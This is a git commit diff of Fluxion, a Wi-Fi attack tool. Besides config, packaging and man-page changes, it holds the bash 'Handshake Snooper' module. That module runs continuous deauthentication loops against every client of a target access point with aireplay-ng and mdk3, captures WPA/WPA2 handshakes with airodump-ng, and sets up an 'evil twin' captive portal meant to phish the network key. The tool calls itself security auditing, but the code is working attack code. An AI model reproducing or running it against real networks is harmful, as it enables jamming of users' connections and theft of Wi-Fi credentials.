Updated to v4-development

This commit is contained in:
root 2018-02-13 11:06:54 +03:00
commit 649171eaff
37 changed files with 3353 additions and 1812 deletions

View File

@ -6,13 +6,13 @@ insert_final_newline = true
max_line_length=120
[*.sh]
indent_style = space
indent_size = 2
indent_style = tab
indent_size = 4
charset = utf-8
trim_trailing_whitespace = true
[*.py]
indent_size=2
indent_size = 4
[*.md]
trim_trailing_whitespace = false

210
.gitignore vendored
View File

@ -1,35 +1,173 @@
# Custom files
*~
*.swp
*.swo
*.cap
*.log
BullyOutput.txt
*.conf
*.lock
*.save
*.backup
# temporary files which can be created if a process still has a handle open of a deleted file
.fuse_hidden*
# Compiled Object files
*.slo
*.lo
*.o
*.obj
# KDE directory preferences
.directory
# Precompiled Headers
*.gch
*.pch
# Linux trash folder which might appear on any partition or disk
.Trash-*
# Compiled Dynamic libraries
*.so
*.dylib
*.dll
# .nfs files are created when an open file is removed but is still being accessed
.nfs*
# Fortran module files
*.mod
*.smod
# Cache files for Sublime Text
# Compiled Static libraries
*.lai
*.la
*.a
*.lib
# Executables
*.exe
*.out
*.app
### Calabash ###
# Calabash / Cucumber
rerun/
reports/
screenshots/
screenshot*.png
test-servers/
# bundler
.bundle
vendor
### Python ###
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule.*
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
### SublimeText ###
# cache files for sublime text
*.tmlanguage.cache
*.tmPreferences.cache
*.stTheme.cache
# Workspace files are user-specific
# workspace files are user-specific
*.sublime-workspace
# Project files should be checked into the repository, unless a significant
# proportion of contributors will probably not be using Sublime Text
# project files should be checked into the repository, unless a significant
# proportion of contributors will probably not be using SublimeText
# *.sublime-project
# SFTP configuration file
# sftp configuration file
sftp-config.json
# Package control specific files
@ -48,30 +186,22 @@ bh_unicode_properties.cache
# https://packagecontrol.io/packages/sublime-github
GitHub.sublime-settings
# General
*.DS_Store
.AppleDouble
.LSOverride
### Vim ###
# swap
.sw[a-p]
.*.sw[a-p]
# session
Session.vim
# temporary
.netrwhist
*~
# auto-generated tag files
tags
# Icon must end with two \r
Icon
# Thumbnails
._*
# Files that might appear in the root of a volume
.DocumentRevisions-V100
.fseventsd
.Spotlight-V100
.TemporaryItems
.Trashes
.VolumeIcon.icns
.com.apple.timemachine.donotpresent
# Directories potentially created on remote AFP share
.AppleDB
.AppleDesktop
Network Trash Folder
Temporary Items
.apdisk
### VisualStudioCode ###
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
.history

1
.gitmodules vendored
View File

@ -1,4 +1,3 @@
[submodule "attacks/Captive Portal/sites"]
path = attacks/Captive Portal/sites
#url = git@github.com:FluxionNetwork/sites.git
url = https://github.com/FluxionNetwork/sites

View File

@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<projectDescription>
<name>fluxion</name>
<name>Fluxion</name>
<comment></comment>
<projects>
</projects>

File diff suppressed because it is too large Load Diff

View File

@ -2,6 +2,12 @@
# identifier: Captive Portal
# description: Creates an "evil twin" access point.
CaptivePortalJammerInterfaceQuery="Select an interface for jamming."
CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point."
CaptivePortalAPServiceQuery="Select an access point service"
CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)"
CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CaptivePortalInterfaceQuery="Select an interface for the captive portal."
CaptivePortalStartingInterfaceNotice="Starting captive portal interface..."

View File

@ -1,12 +1,27 @@
#!/bin/bash
########################### < Handshake Snooper Parameters > ###########################
# ============================================================ #
# ============= < Handshake Snooper Parameters > ============= #
# ============================================================ #
HandshakeSnooperState="Not Ready"
################################# < Handshake Snooper > ################################
function handshake_snooper_arbiter_daemon() {
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then return 1; fi
# ============================================================ #
# ========= < Handshake Snooper Helper Subroutines > ========= #
# ============================================================ #
handshake_snooper_header() {
fluxion_header; fluxion_target_show; echo
}
# ============================================================ #
# ============= < Handshake Snooper Subroutines > ============ #
# ============================================================ #
handshake_snooper_arbiter_daemon() {
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then
return 1;
fi
# Start daemon in the running state to continue execution until aborted,
# or until a hash has been verified to exist in the capture file.
@ -15,13 +30,16 @@ function handshake_snooper_arbiter_daemon() {
function handshake_snooper_arbiter_daemon_abort() {
handshake_snooper_arbiter_daemon_state="aborted"
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then kill $handshake_snooper_arbiter_daemon_viewerPID
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then
kill $handshake_snooper_arbiter_daemon_viewerPID
fi
handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
local -r now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperArbiterAbortedWarning" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
exit 2
}
@ -34,10 +52,14 @@ function handshake_snooper_arbiter_daemon() {
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*"
# Display some feedback to the user to assure verifier is working.
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" \
-title "Handshake Snooper Arbiter Log" -e \
"tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
local handshake_snooper_arbiter_daemon_viewerPID=$!
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" >"$FLUXIONWorkspacePath/handshake_snooper.log"
local now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperStartingArbiterNotice" > \
"$FLUXIONWorkspacePath/handshake_snooper.log"
handshake_snooper_start_captor
handshake_snooper_start_deauthenticator
@ -46,26 +68,38 @@ function handshake_snooper_arbiter_daemon() {
# Keep snooping and verifying until we've got a valid hash from the capture file.
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
echo -e "[$(env -i date '+%H:%M:%S')] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
sleep $HANDSHAKEVerifierInterval &
wait $! # Using wait to asynchronously catch flags while waiting.
# If synchronously searching, stop the captor and deauthenticator before checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperStoppingForVerifierNotice" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap"
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \
"$FLUXIONWorkspacePath/capture/recent.cap"
else
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &>$FLUXIONOutputDevice
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" \
-o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> \
$FLUXIONOutputDevice
fi
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC"
now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperSearchingForHashesNotice" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
hash_check_handshake "$HANDSHAKEVerifierIdentifier" \
"$FLUXIONWorkspacePath/capture/recent.cap" \
"$FluxionTargetSSID" "$FluxionTargetMAC"
handshake_snooper_arbiter_daemon_verified=$?
# If synchronously searching, restart the captor and deauthenticator after checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a \
$handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
handshake_snooper_start_captor
@ -78,34 +112,39 @@ function handshake_snooper_arbiter_daemon() {
handshake_snooper_stop_captor
local completionTime=$(env -i date '+%H:%M:%S')
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
# Assure we've got a directory to store hashes into.
mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
# Move handshake to storage if one was acquired.
mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap"
mv "$FLUXIONWorkspacePath/capture/recent.cap" \
"$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap"
# Signal parent process the verification terminated.
kill -s SIGABRT $1
}
function handshake_snooper_stop_captor() {
if [ "$HANDSHAKECaptorPID" ]; then kill -s SIGINT $HANDSHAKECaptorPID &>$FLUXIONOutputDevice
handshake_snooper_stop_captor() {
if [ "$HANDSHAKECaptorPID" ]; then
kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice
fi
HANDSHAKECaptorPID=""
}
function handshake_snooper_start_captor() {
handshake_snooper_start_captor() {
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
handshake_snooper_stop_captor
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $FluxionTargetChannel)" \
$TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
airodump-ng --ignore-negative-one -d $FluxionTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $FluxionTargetChannel -a $HandshakeSnooperJammerInterface &
local parentPID=$!
while [ ! "$HANDSHAKECaptorPID" ]; do
@ -115,14 +154,14 @@ function handshake_snooper_start_captor() {
done
}
function handshake_snooper_stop_deauthenticator() {
handshake_snooper_stop_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
fi
HANDSHAKEDeauthenticatorPID=""
}
function handshake_snooper_start_deauthenticator() {
handshake_snooper_start_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
@ -130,63 +169,120 @@ function handshake_snooper_start_deauthenticator() {
# Prepare deauthenticators
case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" >$FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
"$HandshakeSnooperMdk3MethodOption")
echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
esac
# Start deauthenticators.
case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperAireplayMethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" &
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" &
HANDSHAKEDeauthenticatorPID=$!
;;
"$HandshakeSnooperMdk3MethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" &
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
"while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
HANDSHAKEDeauthenticatorPID=$!
;;
esac
}
function handshake_snooper_unset_deauthenticator_identifier() {
handshake_snooper_unset_deauthenticator_identifier() {
if [ ! "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 1; fi
HANDSHAKEDeauthenticatorIdentifier=""
}
function handshake_snooper_set_deauthenticator_identifier() {
handshake_snooper_set_deauthenticator_identifier() {
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi
handshake_snooper_unset_deauthenticator_identifier
local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption")
local methods=(
"$HandshakeSnooperMonitorMethodOption"
"$HandshakeSnooperAireplayMethodOption"
"$HandshakeSnooperMdk3MethodOption"
"$FLUXIONGeneralBackOption"
)
io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice
echo
if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
"$FLUXIONGeneralBackOption" ]; then
handshake_snooper_unset_deauthenticator_identifier
return 1
fi
}
function handshake_snooper_unset_verifier_identifier() {
handshake_snooper_unset_jammer_interface() {
if [ ! "$HandshakeSnooperJammerInterface" ]; then return 1; fi
HandshakeSnooperJammerInterface=""
# Check if we're automatically selecting the interface & skip
# this one if so to take the user back properly.
local interfacesAvailable
readarray -t interfacesAvailable < <(attack_targetting_interfaces)
if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi
}
handshake_snooper_set_jammer_interface() {
if [ "$HandshakeSnooperJammerInterface" ]; then return 0; fi
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
"$HandshakeSnooperMonitorMethodOption" ]; then return 0; fi
if [ ! "$HandshakeSnooperUninitializedJammerInterface" ]; then
echo "Running get jammer interface." > $FLUXIONOutputDevice
if ! fluxion_get_interface attack_targetting_interfaces \
"$HandshakeSnooperJammerInterfaceQuery"; then
echo "Failed to get jammer interface" > $FLUXIONOutputDevice
return 1
fi
local selectedInterface=$FluxionInterfaceSelected
else
local selectedInterface=$HandshakeSnooperUninitializedJammerInterface
unset HandshakeSnooperUninitializedJammerInterface
fi
if ! fluxion_allocate_interface $selectedInterface; then
echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice
return 2
fi
echo "Succeeded get jammer interface." > $FLUXIONOutputDevice
HandshakeSnooperJammerInterface=${FluxionInterfaces[$selectedInterface]}
}
handshake_snooper_unset_verifier_identifier() {
if [ ! "$HANDSHAKEVerifierIdentifier" ]; then return 1; fi
HANDSHAKEVerifierIdentifier=""
}
function handshake_snooper_set_verifier_identifier() {
handshake_snooper_set_verifier_identifier() {
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi
handshake_snooper_unset_verifier_identifier
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
local choices=(
"$FLUXIONHashVerificationMethodPyritOption"
"$FLUXIONHashVerificationMethodAircrackOption"
"$FLUXIONGeneralBackOption"
)
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
echo
case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit" ;;
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
"$FLUXIONHashVerificationMethodPyritOption")
HANDSHAKEVerifierIdentifier="pyrit" ;;
"$FLUXIONHashVerificationMethodAircrackOption")
HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_identifier
return 1
@ -194,11 +290,12 @@ function handshake_snooper_set_verifier_identifier() {
esac
}
function handshake_snooper_unset_verifier_interval() {
handshake_snooper_unset_verifier_interval() {
if [ ! "$HANDSHAKEVerifierInterval" ]; then return 1; fi
HANDSHAKEVerifierInterval=""
}
function handshake_snooper_set_verifier_interval() {
handshake_snooper_set_verifier_interval() {
if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi
handshake_snooper_unset_verifier_interval
@ -207,9 +304,12 @@ function handshake_snooper_set_verifier_interval() {
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
case "$IOQueryChoice" in
"$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30 ;;
"$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60 ;;
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;;
"$HandshakeSnooperVerifierInterval30SOption")
HANDSHAKEVerifierInterval=30 ;;
"$HandshakeSnooperVerifierInterval60SOption")
HANDSHAKEVerifierInterval=60 ;;
"$HandshakeSnooperVerifierInterval90SOption")
HANDSHAKEVerifierInterval=90 ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_interval
return 1
@ -217,21 +317,29 @@ function handshake_snooper_set_verifier_interval() {
esac
}
function handshake_snooper_unset_verifier_synchronicity() {
handshake_snooper_unset_verifier_synchronicity() {
if [ ! "$HANDSHAKEVerifierSynchronicity" ]; then return 1; fi
HANDSHAKEVerifierSynchronicity=""
}
function handshake_snooper_set_verifier_synchronicity() {
handshake_snooper_set_verifier_synchronicity() {
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi
handshake_snooper_unset_verifier_synchronicity
local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption")
local choices=(
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption"
"$HandshakeSnooperVerifierSynchronicitySynchronousOption"
"$FLUXIONGeneralBackOption"
)
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
case "$IOQueryChoice" in
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking" ;;
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;;
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption")
HANDSHAKEVerifierSynchronicity="non-blocking" ;;
"$HandshakeSnooperVerifierSynchronicitySynchronousOption")
HANDSHAKEVerifierSynchronicity="blocking" ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_synchronicity
return 1
@ -239,52 +347,93 @@ function handshake_snooper_set_verifier_synchronicity() {
esac
}
function unprep_attack() {
# ============================================================ #
# =================== < Parse Parameters > =================== #
# ============================================================ #
if [ ! "$HandshakeSnooperCLIArguments" ]; then
if ! HandshakeSnooperCLIArguments=$(
getopt --options="v:i:j:a" \
--longoptions="verifier:,interval:,jammer:,asynchronous" \
--name="Handshake Snooper V$FLUXIONVersion.$FLUXIONRevision" -- "$@"
); then
echo -e "${CRed}Aborted$CClr, parameter error detected..."
sleep 5
fluxion_handle_exit
fi
declare -r HandshakeSnooperCLIArguments=$HandshakeSnooperCLIArguments
eval set -- "$HandshakeSnooperCLIArguments" # Set environment parameters.
fi
# ============================================================ #
# ============= < Argument Loaded Configurables > ============ #
# ============================================================ #
while [ "$1" != "" -a "$1" != "--" ]; do
case "$1" in
-v|--verifier)
HandshakeSnooperVerifierIdentifier=$2; shift;;
-i|--interval)
HandshakeSnooperVerifierInterval=$2; shift;;
-j|--jammer)
HandshakeSnooperUninitializedJammerInterface=$2; shift;;
-a|--asynchronous)
HandshakeSnooperVerifierSynchronicity="non-blocking";;
esac
shift # Shift new parameters
done
# ============================================================ #
# ===================== < Fluxion Hooks > ==================== #
# ============================================================ #
attack_targetting_interfaces() {
interface_list_wireless
local interface
for interface in "${InterfaceListWireless[@]}"; do
echo "$interface"
done
}
unprep_attack() {
HandshakeSnooperState="Not Ready"
handshake_snooper_unset_verifier_synchronicity
handshake_snooper_unset_verifier_interval
handshake_snooper_unset_verifier_identifier
handshake_snooper_unset_jammer_interface
handshake_snooper_unset_deauthenticator_identifier
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
}
function prep_attack() {
prep_attack() {
mkdir -p "$FLUXIONWorkspacePath/capture"
while true; do
handshake_snooper_set_deauthenticator_identifier
if [ $? -ne 0 ]; then break; fi
handshake_snooper_set_verifier_identifier
if [ $? -ne 0 ]; then
handshake_snooper_unset_deauthenticator_identifier
continue
fi
handshake_snooper_set_verifier_interval
if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_identifier
continue
fi
handshake_snooper_set_verifier_synchronicity
if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_interval
continue
fi
HandshakeSnooperState="Ready"
break
done
IOUtilsHeader="handshake_snooper_header"
# Check for handshake abortion.
if [ "$HandshakeSnooperState" != "Ready" ]; then
unprep_attack
# Removed read-only due to local constant shadowing bug.
# I've reported the bug, we can add it when fixed.
local sequence=(
"set_deauthenticator_identifier"
"set_jammer_interface"
"set_verifier_identifier"
"set_verifier_interval"
"set_verifier_synchronicity"
)
if ! fluxion_do_sequence handshake_snooper sequence[@]; then
return 1
fi
HandshakeSnooperState="Ready"
}
function stop_attack() {
stop_attack() {
if [ "$HANDSHAKEArbiterPID" ]; then
kill -s SIGABRT $HANDSHAKEArbiterPID &>$FLUXIONOutputDevice
kill -s SIGABRT $HANDSHAKEArbiterPID &> $FLUXIONOutputDevice
fi
HANDSHAKEArbiterPID=""
@ -292,12 +441,12 @@ function stop_attack() {
HandshakeSnooperState="Stopped"
}
function start_attack() {
start_attack() {
if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi
HandshakeSnooperState="Running"
handshake_snooper_arbiter_daemon $$ &>$FLUXIONOutputDevice &
handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice &
HANDSHAKEArbiterPID=$!
}

View File

@ -2,6 +2,8 @@
# identifier: Handshake Snopper
# description: Acquires WPA/WPA2 encryption hashes.
HandshakeSnooperJammerInterfaceQuery="Select an interface for jamming."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperMethodQuery="Select a method of handshake retrieval"
HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)"

66
bin/arch/PKGBUILD Normal file
View File

@ -0,0 +1,66 @@
# Maintainer: Cyberfee <deltax.fluxion@gmail.com>
_pkgname=fluxion
pkgname=$_pkgname-git
pkgver=r1183.63b821f
pkgrel=1
pkgdesc='Fluxion is a security auditing and social-engineering research tool'
url='https://github.com/FluxionNetwork/fluxion'
license=('GPL3')
source=('git://github.com/FluxionNetwork/fluxion.git#branch=master')
depends=(
'aircrack-ng' 'bash>=4.2' 'coreutils'
'awk' 'iw' 'unzip'
'curl' 'bc' 'xterm'
)
makedepends=('binutils' 'coreutils' 'git')
conflicts=('fluxion-git')
provides=('fluxion-git')
sha256sums=('SKIP')
arch=('any')
prepare() {
if [ -d "$srcdir/$pkgname" ]; then
rm -rf "$srcdir/$pkgname"
fi
mkdir -p "$srcdir/$pkgname"
cd "$srcdir/$pkgname"
}
pkgver() {
cd "$srcdir/$_pkgname"
( set -o pipefail
git describe --long 2>/dev/null | sed 's/\([^-]*-g\)/r\1/;s/-/./g' ||
printf "r%s.%s" "$(git rev-list --count HEAD)" "$(git rev-parse --short HEAD)"
)
}
prepare() {
cd "$srcdir/$_pkgname"
}
package() {
cd "$srcdir/$_pkgname"
mkdir -p "$pkgdir/usr/bin"
mkdir -p "$pkgdir/usr/share/fluxion"
install -Dm644 -t "$pkgdir/usr/share/doc/fluxion/" README.md
install -Dm644 LICENSE "$pkgdir/usr/share/licenses/airgeddon/LICENSE"
rm -rf *.md .git* *.yml .project .editorconfig
cp -a --no-preserve=ownership * "$pkgdir/usr/share/fluxion"
cat > "$pkgdir/usr/bin/fluxion" << EOF
#!/bin/sh
cd /usr/share/fluxion
exec bash fluxion.sh "\${@}"
EOF
chmod a+x "$pkgdir/usr/bin/fluxion"
}

76
docs/man/fluxion.1 Normal file
View File

@ -0,0 +1,76 @@
.TH FLUXION 1 "MARCH 2018" Linux "User Manuals"
.SH NAME
fluxion \- Fluxion is a security auditing and social-engineering research tool
.SH SYNOPSIS
.B fluxion [-debug] [-l
.I language
.B ]
.I attack
.B ...
.SH DESCRIPTION
.B fluxion is a security auditing and social-engineering research tool.
It is a remake of linset by vk496 with (hopefully) less bugs
and more functionality. The script attempts to retrieve the WPA/WPA2
key from a target access point by means of a social engineering
(phising) attack. It's compatible with the latest release of Kali
(rolling). Fluxion's attacks' setup is mostly manual,
but experimental auto-mode handles some of the attacks'
setup parameters.
.SH OPTIONS
.IP "-v "
Print version number.
.IP "--help "
Print help page and exit with 0.
.IP "-m "
Run fluxion in manual mode instead of auto mode.
.IP "-k "
Kill wireless connection if it is connected.
.IP "-d "
Run fluxion in debug mode.
.IP "-x "
Try to run fluxion with xterm terminals instead of tmux.
.IP "-r "
Reload driver.
.IP "-l <language>"
Define a certain language.
.IP "-e <essid>"
Select the target network based on the ESSID.
.IP "-c <channel>"
Indicate the channel(s) to listen to.
.IP "-a <attack>"
Define a certain attack.
.IP "--ratio <ratio>"
Define the windows size. Bigger ratio -> smaller window size.
Default is 4.
.IP "-b <bssid>"
Select the target network based on the access point MAC address.
.IP "-j <jamming interface>"
Define a certain jamming interface.
.IP "-a <access point interface>"
Define a certain access point interface.
.SH FILES
.I /tmp/fluxspace/
.RS
The system wide tmp directory.
.RE
.I $FLUXION/attacks/
.RS
Folder where handshakes and passwords
are stored in.
.SH ENVIRONMENT
.IP FLUXIONAuto
Automatically run fluxion in auto mode if exported.
.IP FLUXIONDebug
Automatically run fluxion in debug mode if exported.
.IP FLUXIONWIKillProcesses
Automatically kill any interfering process(es).
.SH DIAGNOSTICS
Please checkout the other log files or use
the debug mode.
.SH BUGS
Please report any bugs at:
https://github.com/FluxionNetwork/fluxion/issues
.SH AUTHOR
Cyberfee, l3op, dlinkproto, vk496, MPX4132
.SH "SEE ALSO"
.BR aircrack-ng (8),

92
docs/man/fluxion.man Normal file
View File

@ -0,0 +1,92 @@
FLUXION(1) User Manuals FLUXION(1)
NAME
fluxion - Fluxion is a security auditing and social-engineering
research tool
SYNOPSIS
fluxion [-debug] [-l language ] attack ...
DESCRIPTION
fluxion is a security auditing and social-engineering research tool.
It is a remake of linset by vk496 with (hopefully) less bugs and more
functionality. The script attempts to retrieve the WPA/WPA2 key from a
target access point by means of a social engineering (phising) attack.
It's compatible with the latest release of Kali (rolling). Fluxion's
attacks' setup is mostly manual, but experimental auto-mode handles
some of the attacks' setup parameters.
OPTIONS
-v Print version number.
--help Print help page and exit with 0.
